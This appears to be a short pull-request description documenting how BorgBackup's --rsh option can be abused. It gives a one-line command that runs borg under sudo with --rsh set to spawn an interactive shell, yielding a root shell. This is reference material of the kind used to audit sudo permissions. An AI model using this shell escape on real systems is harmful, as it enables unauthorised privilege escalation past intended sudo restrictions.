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BorgBackup (short: Borg) is a deduplicating backup program. Optionally, it supports compression and authenticated encryption.
The techniques shown in this PR leverages Borg's
--rshargument. When set, the argument's value is used instead ofssh. This can be used to specify ssh options, such as a custom identity filessh -i /path/to/private/key.The techniques shown spawn an
shshell instead:sudo borg extract @:/::: --rsh "sh -c 'sh </dev/tty >/dev/tty 2>/dev/tty'"